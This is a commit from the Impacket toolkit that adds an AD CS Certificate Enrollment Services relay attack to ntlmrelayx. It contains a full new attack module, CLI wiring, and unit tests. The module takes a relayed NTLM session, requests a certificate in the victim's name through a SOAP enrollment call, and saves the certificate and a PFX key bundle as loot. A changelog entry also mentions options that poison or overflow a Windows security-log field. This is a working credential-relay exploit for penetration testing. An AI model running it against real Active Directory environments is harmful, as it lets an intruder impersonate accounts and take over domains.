Add CES Relay to ADCS endpoint (#2325)

* Add AD CS CES relay support to ntlmrelayx

* Remove CES startup preflight

* Validate CES endpoint after authentication is received

* Simplify CES integration using ntlmrelayx infrastructure

* Share AD CS template selection with CES

* Keep CES helpers with HTTP attack

* Use generic target handling for CES

* Fix --template description

* Require explicit CES template selection

---------

Co-authored-by: pavi6 <pavi6@krokodil>
Co-authored-by: Gabi Gonzalez <[email protected]>
This commit is contained in:
authored and GitHub committed 2026-10-21 09:57:10 -03:00
1 parent 800b2241c8
commit e9ae5bc550
8 files changed
+473 -7

No files matched your search

+3
View File
@@ -9,6 +9,9 @@ https://github.com/fortra/impacket/commits/master
1. Examples improvements
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Added `--adcs-ces` support for relaying to AD CS Certificate Enrollment Services (CES/WSTEP). CES mode reuses the existing HTTP relay authentication, target, template, listener, SMB2, and loot directory behavior; generates its CSR automatically; and writes DER, PKCS#7, and PFX artifacts to the configured loot directory.
* [atexec.py](examples/atexec.py):
* Added mutually exclusive `-author-log` and `-overflow` options to poison or overflow the Task Scheduler Security Event 4698 Author field via task XML RegistrationInfo.
+23 -2
View File
@@ -210,6 +210,7 @@ def start_servers(options, threads):
c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal)
c.setWebDAVOptions(options.serve_image)
c.setIsADCSAttack(options.adcs)
c.setIsCESAttack(options.adcs_ces)
c.setADCSOptions(options.template)
c.setEnumTemplates(options.enum_templates)
c.setIsShadowCredentialsAttack(options.shadow_credentials)
@@ -434,7 +435,8 @@ if __name__ == '__main__':
# AD CS options
adcsoptions = parser.add_argument_group("AD CS attack options")
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
adcsoptions.add_argument('--adcs-ces', action='store_true', default=False, help='Enable AD CS Certificate Enrollment Services (CES/WSTEP) relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine for computer accounts and User for user accounts.')
adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
adcsoptions.add_argument('--altsid', action='store', dest='altSid', metavar="SID", required=False,
help='Object SID to embed in szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). '
@@ -474,6 +476,25 @@ if __name__ == '__main__':
logging.error(str(e))
sys.exit(1)
if options.adcs_ces:
incompatible_modes = []
if options.adcs:
incompatible_modes.append('--adcs')
if options.sccm_policies:
incompatible_modes.append('--sccm-policies')
if options.sccm_dp:
incompatible_modes.append('--sccm-dp')
if incompatible_modes:
parser.error('--adcs-ces cannot be combined with %s' % ', '.join(incompatible_modes))
if options.altname or options.altSid or options.enum_templates:
parser.error('--altname, --altsid and --enum-templates are not supported with --adcs-ces')
if options.target is None and options.tf is None:
parser.error('--adcs-ces requires -t or -tf; reflection mode is not supported')
if options.target is not None and options.tf is not None:
parser.error('--adcs-ces accepts either -t or -tf, not both')
if options.socks or options.interactive or options.r is not None:
parser.error('--adcs-ces cannot be combined with SOCKS, interactive, or HTTP-to-SMB redirect mode')
if options.https and options.certfile is None:
parser.error('--https requires --certfile')
@@ -565,7 +586,7 @@ if __name__ == '__main__':
if not options.no_rdp_server:
RELAY_SERVERS.append(RDPRelayServer)
if targetSystem is not None and options.w:
if targetSystem is not None and options.tf is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
@@ -19,6 +19,7 @@
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import CESAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack
@@ -27,7 +28,7 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDP
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
class HTTPAttack(ProtocolAttack, ADCSAttack, CESAttack, SCCMPoliciesAttack, SCCMDPAttack):
"""
This is the default HTTP attack. This attack only dumps the root page, though
you can add any complex attack below. self.client is an instance of urrlib.session
@@ -38,7 +39,9 @@ class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
def run(self):
if self.config.isADCSAttack:
if self.config.isCESAttack:
CESAttack._run(self)
elif self.config.isADCSAttack:
ADCSAttack._run(self)
elif self.config.isSCCMPoliciesAttack:
SCCMPoliciesAttack._run(self)
@@ -111,9 +111,7 @@ class ADCSAttack:
LOG.info("Certificate enumeration complete!")
return
current_template = self.config.template
if current_template is None:
current_template = "Machine" if self.username.endswith("$") else "User"
current_template = self.get_template(self.username, self.config.template)
# Template name might be UTF-8
original_template = current_template
@@ -184,6 +182,12 @@ class ADCSAttack:
if self.config.altName:
LOG.info("This certificate can also be used for user : {}".format(self.config.altName))
@staticmethod
def get_template(username, template=None):
if template is not None:
return template
return "Machine" if username.endswith("$") else "User"
@staticmethod
def generate_csr(key, CN, altName, csr_type=Encoding.PEM, altSid=None):
LOG.info("Generating CSR...")
@@ -0,0 +1,253 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Microsoft Certificate Enrollment Services (CES/WSTEP) relay attack.
import base64
import binascii
import os
import re
import uuid
import xml.etree.ElementTree as ET
from html import escape
from urllib.parse import urlparse, urlunparse
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, pkcs7
from impacket import LOG
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
SOAP_NS = "http://www.w3.org/2003/05/soap-envelope"
ADDR_NS = "http://www.w3.org/2005/08/addressing"
WST_NS = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"
WSS_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
WSS_UTILITY_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
AUTHZ_NS = "http://schemas.xmlsoap.org/ws/2006/12/authorization"
ENROLL_NS = "http://schemas.microsoft.com/windows/pki/2009/01/enrollment"
TOKEN_TYPE_X509V3 = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"
REQUEST_TYPE_ISSUE = WST_NS + "/Issue"
VALUE_TYPE_PKCS10 = ENROLL_NS + "#PKCS10"
ENCODING_BASE64 = WSS_NS + "#base64binary"
CES_ACTION = ENROLL_NS + "/RST/wstep"
CES_MAX_RESPONSE = 10 * 1024 * 1024
_WHITESPACE_RE = re.compile(r"\s+")
class CESConfigurationError(ValueError):
pass
def soap_http_headers(content_length):
return {
"Content-Type": "application/soap+xml; charset=utf-8",
"User-Agent": "MS-WebServices/1.0",
"Connection": "Keep-Alive",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Content-Length": str(content_length),
}
def derive_subject_cn(relayed_username):
if not relayed_username:
return "CES-Enrollment"
value = relayed_username.split("\\")[-1].split("/")[-1].split("@")[0]
return value or "CES-Enrollment"
def build_additional_context(template):
return '<AdditionalContext xmlns="%s"><ContextItem Name="CertificateTemplate"><Value>%s</Value></ContextItem></AdditionalContext>' % (
AUTHZ_NS, escape(template, quote=True)
)
def _has_explicit_port(netloc):
authority = netloc.rsplit("@", 1)[-1]
if authority.startswith("["):
closing_bracket = authority.find("]")
return closing_bracket >= 0 and authority[closing_bracket + 1:].startswith(":")
return ":" in authority
def build_ces_soap(target_url, csr_b64, template, message_id=None):
if not csr_b64:
raise CESConfigurationError("CSR data is required")
if not template:
raise CESConfigurationError("Certificate template is required")
parsed = urlparse(target_url)
# Rebuild the URL without any identity/userinfo. Keep path, query and an
# explicitly supplied port, including an explicit default port.
host = parsed.hostname
if ":" in host and not host.startswith("["):
host = "[%s]" % host
if _has_explicit_port(parsed.netloc):
host = "%s:%d" % (host, parsed.port)
to_url = urlunparse((parsed.scheme, host, parsed.path or "/", "", parsed.query, ""))
mid = message_id or "urn:uuid:%s" % uuid.uuid4()
return """<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:a="{addr}" xmlns:s="{soap}">
<s:Header>
<a:Action s:mustUnderstand="1">{action}</a:Action>
<a:MessageID>{message_id}</a:MessageID>
<a:To s:mustUnderstand="1">{to}</a:To>
</s:Header>
<s:Body>
<RequestSecurityToken PreferredLanguage="en-US" xmlns="{wst}">
<TokenType>{token_type}</TokenType>
<RequestType>{request_type}</RequestType>
<BinarySecurityToken ValueType="{value_type}" EncodingType="{encoding}" a:Id="" xmlns:a="{utility}" xmlns="{wss}">{csr}</BinarySecurityToken>
{context}
</RequestSecurityToken>
</s:Body>
</s:Envelope>
""".format(
addr=ADDR_NS, soap=SOAP_NS, action=escape(CES_ACTION),
message_id=escape(mid), to=escape(to_url), wst=WST_NS,
token_type=escape(TOKEN_TYPE_X509V3), request_type=escape(REQUEST_TYPE_ISSUE),
value_type=escape(VALUE_TYPE_PKCS10), encoding=escape(ENCODING_BASE64),
utility=WSS_UTILITY_NS, wss=WSS_NS, csr=escape(csr_b64),
context=build_additional_context(template),
)
def target_url(target, relay_client=None):
scheme = target.scheme.lower()
host = target.hostname
if ":" in host and not host.startswith("["):
host = "[%s]" % host
if _has_explicit_port(target.netloc):
host = "%s:%d" % (host, target.port)
path = getattr(relay_client, "path", None) or target.path or "/"
query = getattr(relay_client, "query", None)
if query is None:
query = target.query
return urlunparse((scheme, host, path, "", query, ""))
def extract_response_tokens(xml_bytes):
if not xml_bytes:
raise RuntimeError("CES returned an empty response")
if len(xml_bytes) > CES_MAX_RESPONSE:
raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE)
try:
root = ET.fromstring(xml_bytes)
except ET.ParseError as exc:
raise RuntimeError("CES returned malformed XML: %s" % exc) from exc
fault = root.find(".//{%s}Fault" % SOAP_NS)
if fault is not None:
reason = fault.find(".//{%s}Text" % SOAP_NS)
text = (reason.text or "").strip() if reason is not None else "unspecified fault"
raise RuntimeError("CES SOAP fault: %s" % text[:1000])
cert_tokens = []
p7b_tokens = []
for node in root.findall(".//{%s}BinarySecurityToken" % WSS_NS):
value = _WHITESPACE_RE.sub("", node.text or "")
if not value:
continue
value_type = node.attrib.get("ValueType", "")
if "X509v3" in value_type:
cert_tokens.append(value)
elif "PKCS7" in value_type:
p7b_tokens.append(value)
return cert_tokens, p7b_tokens
def decode_certificate(value):
try:
data = base64.b64decode(value, validate=True)
certificate = x509.load_der_x509_certificate(data)
except (binascii.Error, ValueError) as exc:
raise RuntimeError("CES returned an invalid X509 certificate token") from exc
return data, certificate
def decode_pkcs7(value):
try:
data = base64.b64decode(value, validate=True)
pkcs7.load_der_pkcs7_certificates(data)
except (binascii.Error, ValueError) as exc:
raise RuntimeError("CES returned an invalid PKCS#7 token") from exc
return data
class CESAttack:
@staticmethod
def _read_response(response):
body = response.read(CES_MAX_RESPONSE + 1)
if len(body) > CES_MAX_RESPONSE:
# Drain the connection without retaining additional untrusted data.
while response.read(65536):
pass
raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE)
return body
def _run(self):
identity = "%s\\%s" % (self.domain, self.username) if self.domain else self.username
template = ADCSAttack.get_template(self.username, self.config.template)
try:
key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
csr = ADCSAttack.generate_csr(key, derive_subject_cn(identity), None, csr_type=Encoding.DER)
csr_b64 = base64.b64encode(csr).decode("ascii")
url = target_url(self.target, self.relay_client)
soap = build_ces_soap(url, csr_b64, template)
body = soap.encode("utf-8")
path = self.relay_client.path or "/"
if self.relay_client.query:
path += "?" + self.relay_client.query
LOG.info("Requesting a certificate for %s using CES template %s", identity, template)
# self.client is the already authenticated HTTP(S) connection.
self.client.request("POST", path, body=body, headers=soap_http_headers(len(body)))
response = self.client.getresponse()
response_body = self._read_response(response)
if response.status >= 400:
diagnostic = response_body[:2000].decode("utf-8", errors="replace")
raise RuntimeError("CES returned HTTP %d %s: %s" % (response.status, response.reason, diagnostic))
cert_tokens, p7b_tokens = extract_response_tokens(response_body)
cert_der = certificate = None
p7b_der = None
if cert_tokens:
cert_der, certificate = decode_certificate(cert_tokens[-1])
if p7b_tokens:
p7b_der = decode_pkcs7(p7b_tokens[0])
if not os.path.isdir(self.config.lootdir):
os.makedirs(self.config.lootdir, exist_ok=True)
output_name = ADCSAttack._sanitize_filename(identity)
if cert_der is not None:
cert_path = os.path.join(self.config.lootdir, output_name + ".cer")
with open(cert_path, "wb") as output:
output.write(cert_der)
LOG.info("Saved issued CES certificate: %s", cert_path)
else:
LOG.warning("CES response did not contain an X509v3 certificate; PFX was not created")
if p7b_der is not None:
p7b_path = os.path.join(self.config.lootdir, output_name + ".p7b")
with open(p7b_path, "wb") as output:
output.write(p7b_der)
LOG.info("Saved CES PKCS#7 response: %s", p7b_path)
else:
LOG.warning("CES response did not contain a PKCS#7 token")
if certificate is not None:
pfx_path = os.path.join(self.config.lootdir, output_name + ".pfx")
with open(pfx_path, "wb") as output:
output.write(ADCSAttack.generate_pfx(key, certificate))
LOG.info("Saved CES PFX: %s", pfx_path)
except Exception as exc:
LOG.error("CES SOAP enrollment failed: %s", exc)
@@ -102,6 +102,7 @@ class NTLMRelayxConfig:
# AD CS attack options
self.isADCSAttack = False
self.isCESAttack = False
self.template = None
self.altName = None
self.altSid = None
@@ -273,6 +274,9 @@ class NTLMRelayxConfig:
def setIsADCSAttack(self, isADCSAttack):
self.isADCSAttack = isADCSAttack
def setIsCESAttack(self, isCESAttack):
self.isCESAttack = isCESAttack
def setEnumTemplates(self, enumTemplates):
self.enumTemplates = enumTemplates
+5
View File
@@ -25,6 +25,11 @@ class ADCSCertificateSigningRequestTests(unittest.TestCase):
def setUpClass(cls):
cls.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
def test_template_defaults_match_relayed_account_type(self):
self.assertEqual(ADCSAttack.get_template("alice"), "User")
self.assertEqual(ADCSAttack.get_template("WORKSTATION$"), "Machine")
self.assertEqual(ADCSAttack.get_template("alice", "CustomTemplate"), "CustomTemplate")
def test_generate_pem_csr_without_subject_or_extensions(self):
data = ADCSAttack.generate_csr(self.key, None, None)
request = x509.load_pem_x509_csr(data)
+173
View File
@@ -0,0 +1,173 @@
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
import base64
import io
import os
import tempfile
import unittest
from datetime import datetime, timedelta, timezone
from types import SimpleNamespace
from unittest.mock import patch
from urllib.parse import urlparse
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import pkcs12, pkcs7
from cryptography.x509.oid import NameOID
from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import (
ADDR_NS,
AUTHZ_NS,
CES_ACTION,
CESAttack,
SOAP_NS,
WSS_NS,
build_ces_soap,
decode_certificate,
decode_pkcs7,
derive_subject_cn,
extract_response_tokens,
target_url,
)
class CESHelperTests(unittest.TestCase):
def test_subject_common_name_derivation(self):
self.assertEqual(derive_subject_cn("DOMAIN\\machine$"), "machine$")
self.assertEqual(derive_subject_cn("DOMAIN/[email protected]"), "user")
self.assertEqual(derive_subject_cn(""), "CES-Enrollment")
def test_soap_escapes_values_and_preserves_target(self):
soap = build_ces_soap(
"https://DOMAIN%5Cuser@[2001:db8::1]:443/service.svc/CES?a=1&b=2",
"Y3Ny",
"Machine&A",
message_id="urn:uuid:test",
)
self.assertIn('xmlns:a="%s"' % ADDR_NS, soap)
self.assertIn('xmlns:s="%s"' % SOAP_NS, soap)
self.assertIn(CES_ACTION, soap)
self.assertIn("Machine&amp;A", soap)
self.assertIn('<AdditionalContext xmlns="%s"><ContextItem' % AUTHZ_NS, soap)
self.assertIn("https://[2001:db8::1]:443/service.svc/CES?a=1&amp;b=2", soap)
self.assertNotIn("DOMAIN%5Cuser@", soap)
self.assertNotIn("\n <ContextItem", soap)
@staticmethod
def certificate_material():
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "machine$")])
now = datetime.now(timezone.utc)
certificate = (
x509.CertificateBuilder().subject_name(subject).issuer_name(issuer)
.public_key(key.public_key()).serial_number(1)
.not_valid_before(now - timedelta(minutes=1)).not_valid_after(now + timedelta(days=1))
.sign(key, hashes.SHA256())
)
cert_der = certificate.public_bytes(serialization.Encoding.DER)
p7b_der = (
pkcs7.PKCS7SignatureBuilder().set_data(b"test")
.add_signer(certificate, key, hashes.SHA256())
.sign(serialization.Encoding.DER, [pkcs7.PKCS7Options.Binary])
)
return key, certificate, cert_der, p7b_der
def test_response_token_selection_and_validation(self):
_, certificate, cert_der, p7b_der = self.certificate_material()
xml = ('<s:Envelope xmlns:s="%s" xmlns:o="%s"><s:Body>'
'<o:BinarySecurityToken ValueType="PKCS7">\n%s\n</o:BinarySecurityToken>'
'<o:BinarySecurityToken ValueType="X509v3">%s</o:BinarySecurityToken>'
'</s:Body></s:Envelope>') % (
SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(),
base64.b64encode(cert_der).decode())
cert_tokens, p7b_tokens = extract_response_tokens(xml.encode())
decoded_der, decoded_cert = decode_certificate(cert_tokens[-1])
self.assertEqual(decoded_der, cert_der)
self.assertEqual(decoded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256()))
self.assertEqual(decode_pkcs7(p7b_tokens[0]), p7b_der)
def test_fault_and_malformed_response(self):
fault = ('<s:Envelope xmlns:s="%s"><s:Body><s:Fault><s:Reason>'
'<s:Text>denied</s:Text></s:Reason></s:Fault></s:Body></s:Envelope>') % SOAP_NS
with self.assertRaisesRegex(RuntimeError, "SOAP fault: denied"):
extract_response_tokens(fault.encode())
with self.assertRaisesRegex(RuntimeError, "malformed XML"):
extract_response_tokens(b"<not-closed")
def test_target_url_removes_identity_and_keeps_explicit_port(self):
target = urlparse("https://DOMAIN%5Cuser@[2001:db8::1]:443/service.svc/CES?q=1")
self.assertEqual(target_url(target), "https://[2001:db8::1]:443/service.svc/CES?q=1")
class CESAttackTests(unittest.TestCase):
class Response:
status = 200
reason = "OK"
def __init__(self, body):
self.stream = io.BytesIO(body)
def read(self, size=-1):
return self.stream.read(size)
class Connection:
def __init__(self, response):
self.response = response
self.requests = []
def request(self, method, path, body=None, headers=None):
self.requests.append((method, path, body, headers))
def getresponse(self):
return self.response
def test_enrollment_uses_authenticated_connection_and_lootdir(self):
key, certificate, cert_der, p7b_der = CESHelperTests.certificate_material()
xml = ('<s:Envelope xmlns:s="%s" xmlns:o="%s"><s:Body>'
'<o:BinarySecurityToken ValueType="PKCS7">%s</o:BinarySecurityToken>'
'<o:BinarySecurityToken ValueType="X509v3">%s</o:BinarySecurityToken>'
'</s:Body></s:Envelope>') % (
SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(),
base64.b64encode(cert_der).decode())
connection = self.Connection(self.Response(xml.encode()))
with tempfile.TemporaryDirectory() as directory:
attack = CESAttack()
attack.domain = "DOMAIN"
attack.username = "machine$"
attack.target = urlparse("https://ca.example.test/service.svc/CES?q=1")
attack.relay_client = SimpleNamespace(path="/service.svc/CES", query="q=1")
attack.client = connection
attack.config = SimpleNamespace(template=None, lootdir=directory)
with patch(
"impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack.rsa.generate_private_key",
return_value=key,
):
attack._run()
self.assertEqual(len(connection.requests), 1)
method, path, body, headers = connection.requests[0]
self.assertEqual((method, path), ("POST", "/service.svc/CES?q=1"))
self.assertEqual(headers["Content-Length"], str(len(body)))
self.assertIn(b"<Value>Machine</Value>", body)
self.assertEqual(sorted(os.listdir(directory)), [
"DOMAIN_machine.cer", "DOMAIN_machine.p7b", "DOMAIN_machine.pfx"
])
with open(os.path.join(directory, "DOMAIN_machine.pfx"), "rb") as pfx_file:
loaded_key, loaded_cert, chain = pkcs12.load_key_and_certificates(pfx_file.read(), None)
self.assertIsNotNone(loaded_key)
self.assertEqual(loaded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256()))
self.assertEqual(chain, [])
if __name__ == "__main__":
unittest.main(verbosity=1)